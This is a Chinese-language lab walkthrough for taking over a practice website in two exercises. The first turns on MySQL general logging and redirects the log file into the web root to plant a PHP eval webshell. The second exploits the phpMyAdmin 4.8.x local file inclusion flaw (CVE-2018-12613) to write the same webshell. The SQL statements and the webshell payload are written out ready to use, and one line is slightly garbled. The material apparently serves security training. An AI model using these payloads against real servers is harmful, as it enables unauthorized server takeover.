靶站点渗透实践
Web站点渗透一
- 合理选择攻击机中的工具对目标Web进行扫描,收集信息,了解web服务器类型,查看是否有可疑端口、地址或文件。
- 根据可疑端口、地址或文件,设法找到网站数据库连接的地址和root密码。
- 以root权限登录网站数据库后,尝试利用日志文件来进行 getshell。首先在 sql 处执行“SHOW VARIABLES LIKE 'general%'”查看是否开启日志功能以及日志文件的保存路径。
- 如日志功能暂未开启。可以执行“set global general_log = "ON";”开启 mysql 日志功能,再次确认日志功能是否开启。
- 之后执行 sql 语句“select ‘<?php @eval($_POST[1]);?>’”,向日志文件中写入 php 一句话木马。
- 但由于在linux中mysql数据库的日志与web目录的用户权限是分开的,我们此时还无法通过目录地址访问该日志文件。
- 修改日志文件存储路径和文件名的语句为“set global general_log_file=' 绝对路径';”。
- 寻找网站在服务器上的绝对地址(浏览可能包含该信息的文件)。
- 执行:“set global general_log_file=' C://xxx//xxx//xxx//shell.php';”将日志文件的存储路径改为站点根目录下的 shell.php 文件。
- 重新写入php一句话木马。
- 之后在浏览器中访问shell.php,查看是否能够访问成功。
- 使用webshell管理工具连接创建的shell.php文件,控制服务器。
Web站点渗透二
- 合理选择攻击机中的工具对目标Web进行扫描,收集信息,了解web服务器类型,查看是否有可疑端口、地址或文件。
- 根据可疑端口、地址或文件,设法找到网站数据库连接的地址和密码。
- 登录网站数据库后,查看数据库管理系统的版本号,并在互联网中搜索是否有可以利用的安全漏洞。
- 参考内容:phpMyAdmin 4.8.x 本地文件包含漏洞利用 | Vulnspy Blog
- 利用 CVE-2018-12613 进行 getshell。在 SQL 语句执行处执行SELECT “ <?php file_put_contents('shell.php','<?php @eval($_POST[1]);?>');?>” ,这句话的含义为向 shell.php 文件中写入一句话木马(但还没有真正成功创建)。
-
SELECT “ <?php file_put_contents('shell.php','<?php @eval($_POST[1]);?>');?>”
- 打开浏览器的开发者工具(F12)获取sessionID(phpmyadmin的session会保存近期执行过的sql语句)。
- 根据漏洞利用原理:PHP会自动urldecode一次加百分号的参数,提交%253f(?的urlencode的u测试
- rlencode)的时候自动转成%3f,满足该版本软件的白名单条件不会被后台过滤掉,此时%253f/就会被认为是一个目录,从而include。即? -> %3f -> %253f。
- 使用webshell管理工具连接创建的shell.php文件,控制服务器。